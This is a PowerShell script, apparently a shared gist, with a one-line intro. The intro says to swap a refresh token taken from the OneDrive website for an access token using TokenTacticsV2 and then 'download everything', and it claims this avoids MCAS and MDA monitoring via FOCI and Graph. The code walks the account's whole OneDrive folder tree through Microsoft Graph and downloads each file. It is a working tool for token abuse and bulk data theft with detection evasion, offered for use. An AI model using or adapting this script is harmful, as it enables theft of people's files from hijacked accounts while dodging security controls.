Use TokenTacticsV2 and RefreshToken from OneDrive website to get an AccessToken. Then download everything. Works with MCAS and MDA thanks to FOCI and Graph

OneDriveMassDownload.ps1

function Get-CustomOneDriveFileList {
    param (
        $ObjectId
    )
    if ([string]::IsNullOrWhiteSpace($ObjectId)) {
        Write-Verbose "Use root folder"
        $Objects = (Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/beta/me/drive/root/children" )['value']
    }
    else {
        Write-Verbose "Use object id $ObjectId"
        $Objects = (Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/me/drive/items/$($ObjectId)/children")['value']
    }
    foreach ($Object in $Objects) {
        if ( $Object.ContainsKey("folder") ) {
            Write-Verbose "Object id $ObjectId is a folder"
            Get-CustomOneDriveFileList -ObjectId $($Object.id)
        }
        elseif ( $Object.ContainsKey("webUrl") ) {
            Write-Verbose "Object id $ObjectId is a file"
            [PSCustomObject]@{
                downloadUrl = $Object.'@microsoft.graph.downloadUrl'
                fileName    = $Object.name
            }
        }
    }
}

$ProgressPreference = "SilentlyContinue"
$Files = Get-CustomOneDriveFileList
foreach ($File in $Files) {
    Invoke-WebRequest $File.downloadUrl -OutFile $File.fileName
}